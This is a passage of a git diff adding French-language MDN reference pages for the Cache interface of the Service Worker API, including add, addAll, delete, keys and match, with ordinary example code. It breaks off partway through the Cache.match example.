+<pre class="sytaxbox"><em>cache</em>.add(<em>request</em>).then(function() {
+  //request a été ajoutée au cache
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La requête à mettre en cache. Ce paramètre peut être un objet {{domxref("Request", "Requête")}} ou une URL.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue en void.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Exception</strong></th>
+   <th scope="col"><strong>Arrive quand</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>.</p>
+
+    <p>Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui a échoué.) Cela peut arriver si la requête échoue, mais également si la requête est une <em>cross-origin no-cors</em> (auquel cas le statut retourné est systématiquement 0.)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser {{domxref("Cache.add")}} pour y ajouter des ressources.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.add('/sw-test/index.html');
+    })
+  );
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-add', 'Cache: add')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.add")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/addall/index.html b/files/fr/web/api/cache/addall/index.html
new file mode 100644
index 0000000000..9f43ef9387
--- /dev/null
+++ b/files/fr/web/api/cache/addall/index.html
@@ -0,0 +1,118 @@
+---
+title: Cache.addAll()
+slug: Web/API/Cache/addAll
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Worker
+  - Service worker API
+  - ServiceWorker
+  - addAll
+translation_of: Web/API/Cache/addAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>addAll()</code></strong> de l'interface {{domxref("Cache")}} accepte un tableau d'URLS, les récupères, et ajoute les objets réponse qui en résultent au cache en question. Les objets requêtes crées pendant la phase de récupération deviennent des clés vers les opérations de réponse stockées. </p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>addAll()</code> écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à une requête, mais échouera si l'opération <code>put() </code>ainsi créée devrait engendrer l'éffacement d'une entrée cache créée par la même méthode <code>addAll()</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.addAll(requests[]).then(function() {
+  //requests have been added to the cache
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>requests</dt>
+ <dd>Un tableau d'objets {{domxref("Request", "Requête")}} à ajouter au cache.</dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue en void.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Exception</strong></th>
+   <th scope="col"><strong>Arrive quand</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>
+    <p>Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>.</p>
+
+    <p>Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui a échoué.) Cela peut arriver si la requête échoue, mais également si la requête est une <em>cross-origin no-cors</em> (auquel cas le statut retourné est systématiquement 0.)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples"><strong>Exemples</strong></h2>
+
+<p>Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser <code>addAll()</code> pour y ajouter une série de ressources.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-addall', 'Cache: addAll')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.addAll")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/delete/index.html b/files/fr/web/api/cache/delete/index.html
new file mode 100644
index 0000000000..332a9f984a
--- /dev/null
+++ b/files/fr/web/api/cache/delete/index.html
@@ -0,0 +1,87 @@
+---
+title: Cache.delete()
+slug: Web/API/Cache/delete
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - delete
+translation_of: Web/API/Cache/delete
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>delete()</code></strong> de l'interface {{domxref("Cache")}} cherche l'entrée {{domxref("Cache")}} dont la clé est la requête passée en argument, et retourne une {{jsxref("Promise", "Promesse")}}. Si une entrée {{domxref("Cache")}} est trouvée, elle est supprimée, et la promesse est résolue à <code>true</code>. Dans le cas contraire, la promesse est résolue à <code>false</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.delete(request,{options}).then(function(true) {
+  //your cache entry has been deleted
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La {{domxref("Request", "Requête")}} à supprimer.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération de <code>delete</code>. Les options disponibles sont :
+ <ul>
+  <li><code>ignoreSearch</code>: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url.  Si mis à <code>true</code>, la partie <code>?value=bar</code> de l'url <code>http://foo.com/?value=bar</code> sera ignorée lors du matching. Est à <code>false</code> par défaut.</li>
+  <li><code>ignoreMethod</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true</code>, empêche les opérations de matching de valider la méthode <code>HTTP</code> de la {{domxref("Request", "Requête")}} (en temps normal, seules <code>GET</code> et <code>HEAD</code> sont autorisées.) Est à  <code>false</code> par défaut.</li>
+  <li><code>ignoreVary</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true,</code> indique à l'opération de matching de ne pas effectuer le matching <code>VARY</code> des header.  En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header <code>VARY</code> ou non. Est à <code>false</code> par défaut.</li>
+  <li><code>cacheName</code>: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par <code>Cache.delete()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue à <code>true</code> si l'entrée de cache est supprimée, ou à <code>false</code> dans le cas contraire.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.delete('/images/image.png').then(function(response) {
+    someUIUpdateFunction();
+  });
+})</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-delete', 'Cache: delete')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.delete")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/index.html b/files/fr/web/api/cache/index.html
new file mode 100644
index 0000000000..6f5843d631
--- /dev/null
+++ b/files/fr/web/api/cache/index.html
@@ -0,0 +1,156 @@
+---
+title: Cache
+slug: Web/API/Cache
+tags:
+  - API
+  - API Cache
+  - API Service worker
+  - Cache
+  - Interface
+  - Reference
+  - Service Workers
+  - Stockage
+  - hors ligne
+translation_of: Web/API/Cache
+---
+<p>{{APIRef("Service Workers API")}} {{SeeCompatTable}}</p>
+
+<p>L'interface <code>Cache</code> fournit un mécanisme de stockage pour les paires d'objets <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code>/<code><a href="http://fetch.spec.whatwg.org/#response">Response</a></code> qui sont mises en cache, par exemple dans le cadre du cycle de vie {{domxref("ServiceWorker")}}. Il est à noter que l'interface <code>Cache</code> est exposée à des portées fenêtrées ainsi qu'à des service workers. Vous n'êtes pas obligé de l'utiliser avec des services workers, même si elle est définie dans la spécification relative aux services workers.</p>
+
+<p>Une origine peut avoir plusieurs objets nommés <code>Cache</code>. Vous êtes responsable de l'implémentation de la manière dont votre script (par exemple dans un {{domxref("ServiceWorker")}}) gère les mises à jour du cache. Les éléments d'un cache ne sont pas mis à jour, sauf demande explicite ; ils n'expirent pas, sauf s'ils sont supprimés. Utilisez {{domxref("CacheStorage.open", "CacheStorage.open()")}} pour ouvrir un objet <code>Cache</code> spécifique et appelez ensuite l'une des méthodes <code>Cache</code> pour maintenir le <code>Cache</code>.</p>
+
+<p>Vous êtes également responsable de la purge périodique des entrées du cache. Chaque navigateur a une limite stricte sur la quantité de mémoire cache qu'une origine donnée peut utiliser. Les estimations de l'utilisation du quota de cache sont disponibles via le lien {{domxref("StorageEstimate")}} API. Le navigateur fait de son mieux pour gérer l'espace disque, mais il peut supprimer le stockage en cache d'une origine. Le navigateur supprime généralement toutes les données d'une origine ou aucune des données d'une origine. Veillez à nommer les caches et à n'utiliser les caches qu'à partir de la version du script sur laquelle ils peuvent fonctionner en toute sécurité. Pour plus d'informations, voir <a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers#Supprimer_les_anciens_caches">Suppression des anciens caches</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : Les implémentations initiales du cache (dans Blink et Gecko) résolvent les engagements {{domxref("Cache.add()")}}, {{domxref("Cache.addAll()")}}, et {{domxref("Cache.put()")}} lorsque le corps de la réponse est entièrement écrit sur le stockage. Des versions plus récentes de la spécification précisent que le navigateur peut résoudre la promesse dès que l'entrée est enregistrée dans la base de données, même si le corps de réponse est encore en cours d'écriture.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note </strong>: L'algorithme des correspondances de clés est dépendant de la valeur de l'<a href="https://www.fastly.com/blog/best-practices-using-vary-header">en-tête VARY</a>. Ainsi, pour faire correspondre une nouvelle clé, il faut examiner à la fois la clé et la valeur des entrées dans le Cache.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> L'API de mise en cache n'honore pas les en-têtes de mise en cache HTTP.</p>
+</div>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(request, options)")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise" , "Promesse" )}} qui se résout en une réponse associée à la première requête correspondante dans l'objet {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise" , "Promesse" )}} qui se résout en un tableau de toutes les requêtes correspondantes dans l'objet {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(request)")}} {{experimental_inline}}</dt>
+ <dd>Prend une URL, la récupère et ajoute l'objet réponse associé au cache donné. C'est une fonctionnalité équivalente à l'appel de fetch(), puis à l'utilisation de Cache.put() pour ajouter les résultats  au cache.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(requests)")}} {{experimental_inline}}</dt>
+ <dd>Prend un tableau d'URLs, les récupère, et ajoute les objets réponses associés au cache donné.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(request, response)")}} {{experimental_inline}}</dt>
+ <dd>Prend à la fois une requête et sa réponse et l'ajoute au cache donné.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}} {{experimental_inline}}</dt>
+ <dd>Trouve l'entrée {{domxref("Cache")}} dont la clé est la requête, et le cas échéant, supprime l'entrée {{domxref("Cache")}} et retourne une {{jsxref("Promise" , "Promesse" )}} qui se résout à <code>true</code>. Si aucune entrée {{domxref("Cache")}} n'est trouvée, elle retourne <code>false</code>.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}} {{experimental_inline}}</dt>
+ <dd>Retourne une {{jsxref("Promise" , "Promesse" )}} qui se résout en un tableau clés {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet extrait de code provient de <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">l'exemple de mise en cache sélective</a>. (voir <a href="https://googlechrome.github.io/samples/service-worker/selective-caching/">selective caching live</a>) Le code utilise {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} pour ouvrir tous les objets {{domxref("Cache")}} avec un en-tête Content-Type qui débute par <code>font/</code>.</p>
+
+<p>Le code utilise alors {{domxref("Cache.match", "Cache.match(request, options)")}} pour voir s'il y a déjà une fonte correspondante dans le cache, et le cas échéant, la retourne. S'il n'y a pas de correspondance, le code récupère la fonte à partir du réseau et utilise {{domxref("Cache.put","Cache.put(request, response)")}} pour mettre en cache la ressource récupérée.</p>
+
+<p>Le code gère les exceptions déclenchées par l'opération de {{domxref("Globalfetch.fetch","fetch()")}}. A noter qu'une réponse HTTP en erreur (e.g., 404) ne déclenchera pas une exception. Elle retournera un objet de réponse normal qui dispose du code d'erreur approprié.</p>
+
+<p>Cet extrait de code illustre également une bonne pratique pour versionner les caches utilisés par le service worker. Bien qu'il y ait seulement un cache dans cet exemple, la même approche peut être utilisée pour des caches multiples. Il associe un identifiant  court avec un nom de cache versionné et spécifique. Le code supprime aussi tous les caches qui ne sont pas nommés dans <code>CURRENT_CACHES</code>.</p>
+
+<div class="note"><strong>Note:</strong> In Chrome, visit chrome://inspect/#service-workers and click on the "inspect" link below the registered service worker to view logging statements for the various actions the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service-worker.js</a> script is performing.</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+
+// Shorthand identifier mapped to specific versioned cache.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Active worker won't be treated as activated until promise resolves successfully.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Opens Cache objects that start with 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log(' Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Handles exceptions that arise from match() or fetch().
+        console.error('  Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h3 id="Storing_cookies_in_Caches">Storing cookies in Caches</h3>
+
+<p>L'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a> exige que les en-têtes {{httpheader("Set-Cookie")}} soient supprimés avant de renvoyer un objet {{domxref("Response")}} à partir de {{domxref("WindowOrWorkerGlobalScope", "fetch()")}}. Ainsi, une réponse stockée dans un cache ne contiendra pas d'en-têtes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Code d'exemple basique de Service workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Le ServiceWorker est prêt ?</a></li>
+ <li>{{jsxref("Promise" , "Promesse" )}}</li>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers">Utilisation des Web Workers</a></li>
+</ul>
diff --git a/files/fr/web/api/cache/keys/index.html b/files/fr/web/api/cache/keys/index.html
new file mode 100644
index 0000000000..9852434719
--- /dev/null
+++ b/files/fr/web/api/cache/keys/index.html
@@ -0,0 +1,96 @@
+---
+title: Cache.keys()
+slug: Web/API/Cache/keys
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - keys
+translation_of: Web/API/Cache/keys
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>keys()</code></strong> de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}.</p>
+
+<p>Les requêtes sont retournées dans le même ordre que l'ordre d'insertion.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Les requêtes avec des URLs déjà présentes mais des headers différents peuvent être retournées si leurs réponses comportent le header <code>VARY</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.keys(request,{options}).then(function(response) {
+  // fait quelque chose avec votre tableau de réponses
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request {{optional_inline}}</dt>
+ <dd>La {{domxref("Request", "Requête")}} à retourner, si une clé en particulier est désirée.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération <code>keys</code>. Les options disponibles sont :</dd>
+ <dd>
+ <ul>
+  <li><code>ignoreSearch</code>: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url.  Si mis à <code>true</code>, la partie <code>?value=bar</code> de l'url <code>http://foo.com/?value=bar</code> sera ignorée lors du matching. Est à <code>false</code> par défaut.</li>
+  <li><code>ignoreMethod</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true</code>, empêche les opérations de matching de valider la méthode <code>HTTP</code> de la {{domxref("Request", "Requête")}} (en temps normal, seules <code>GET</code> et <code>HEAD</code> sont autorisées). Est à  <code>false</code> par défaut.</li>
+  <li><code>ignoreVary</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true,</code> indique à l'opération de matching de ne pas effectuer le matching <code>VARY</code> des header.  En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header <code>VARY</code> ou non. Est à <code>false</code> par défaut.</li>
+  <li><code>cacheName</code>: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par <code>Cache.keys()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}.</p>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.keys().then(function(keys) {
+    keys.forEach(function(request, index, array) {
+      cache.delete(request);
+    });
+  });
+})</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-keys', 'Cache: keys')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div>
+<div>
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Cache.keys")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utiliser les Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/fr/web/api/cache/match/index.html b/files/fr/web/api/cache/match/index.html
new file mode 100644
index 0000000000..bfb4f5c0c6
--- /dev/null
+++ b/files/fr/web/api/cache/match/index.html
@@ -0,0 +1,107 @@
+---
+title: Cache.match()
+slug: Web/API/Cache/match
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - match
+translation_of: Web/API/Cache/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>match()</code></strong> de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en une {{domxref("Response", "Réponse")}} associée à la première requête qui match dans l'objet {{domxref("Cache")}}. Si aucune requête n'est trouvée, la {{jsxref("Promise", "Promesse")}} est résolue en {{jsxref("undefined")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">cache.match(request,{options}).then(function(response) {
+  // faire quelque chose avec la réponse
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>La {{domxref("Request")}} à trouver dans le {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Un objet qui définit des options pour l'opération de <code>match</code>. Les options disponibles sont les suivantes :
+ <ul>
+  <li><code>ignoreSearch</code>: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url.  Si mis à <code>true</code>, la partie <code>?value=bar</code> de l'url <code>http://foo.com/?value=bar</code> sera ignorée lors du matching. Est à <code>false</code> par défaut.</li>
+  <li><code>ignoreMethod</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true</code>, empêche les opérations de matching de valider la méthode <code>HTTP</code> de la {{domxref("Request", "Requête")}} (en temps normal, seules <code>GET</code> et <code>HEAD</code> sont autorisées.) Est à  <code>false</code> par défaut.</li>
+  <li><code>ignoreVary</code>: Un {{domxref("Boolean")}} qui, quand mis à <code>true,</code> indique à l'opération de matching de ne pas effectuer le matching <code>VARY</code> des header.  En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header <code>VARY</code> ou non. Est à <code>false</code> par défaut.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Retour">Retour</h3>
+
+<p>Une {{jsxref("Promise", "Promesse")}} qui est résolue en la première {{domxref("Response", "Réponse")}} qui match la requête, ou en {{jsxref("undefined")}} si aucune requête n'est trouvée.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>Cache.match()</code> est quasiment identique à {{domxref("Cache.matchAll()")}}, si ce n'est qu'elle est résolue en <code>response[0]</code> (la première réponse qui matche) plutôt que <code>response[]</code> (un tableau de toutes les réponses qui matchent).</p>
+</div>
+
+<h2 id="Exemples" style="line-height: 30px; font-size: 2.14285714285714rem;">Exemples</h2>
+
+<p>Cet exemple est extrait de l'exemple <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/custom-offline-page/service-worker.js">Page hors ligne custom</a> (<a href="https://googlechrome.github.io/samples/service-worker/custom-offline-page/index.html">demo</a>).</p>
+
+<p>L'exemple suivant se sert d'un cache pour fournir les données demandées même quand une requête échoue. Une clause <code>catch()</code> est déclenchée quand l'appel à <code>fetch()</code> lève une exception. A l'intérieur de la clause <code>catch()</code>, <code>match()</code> est utilisée to pour retourner la réponse appropriée.</p>
+
+<p>Dans cet exemple, nous avons décidé que seul les documents HTML récupérés via le verbe HTTP GET seront mis en cache. <span style="line-height: 19.0909080505371px;">Si notre condition <code>if()</code> est false, le gestionnaire fetch n'intercepte pas la requête. Si d'autres gestionnaires fetch sont enregistrés, ils ont une occasion d'appeler <code>event.respondWith()</code>. Si aucun gestionnaire fetch ne décide d'appeler <code>event.respondWith()</code>, la requête sera gérée par le navigateur comme si les service workers n'avaient pas existé. Si </span><code style="font-style: normal; line-height: 19.0909080505371px;">fetch()</code><span style="line-height: 19.0909080505371px;"> retourne une réponse HTTP valide avec un code réponse dans les 4xx ou 5xx, la clause </span><code style="font-style: normal; line-height: 19.0909080505371px;">catch()</code><span style="line-height: 19.0909080505371px;"> ne sera PAS appelée. </span></p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  // We only want to call event.respondWith() if this is a GET request for an HTML document.
+  if (event.request.method === 'GET' &amp;&amp;
+      event.request.headers.get('accept').indexOf('text/html') !== -1) {
+    console.log('Handling fetch event for', event.request.url);
+    event.respondWith(
+      fetch(event.request).catch(function(e) {
+        console.error('Fetch failed; returning offline page instead.', e);
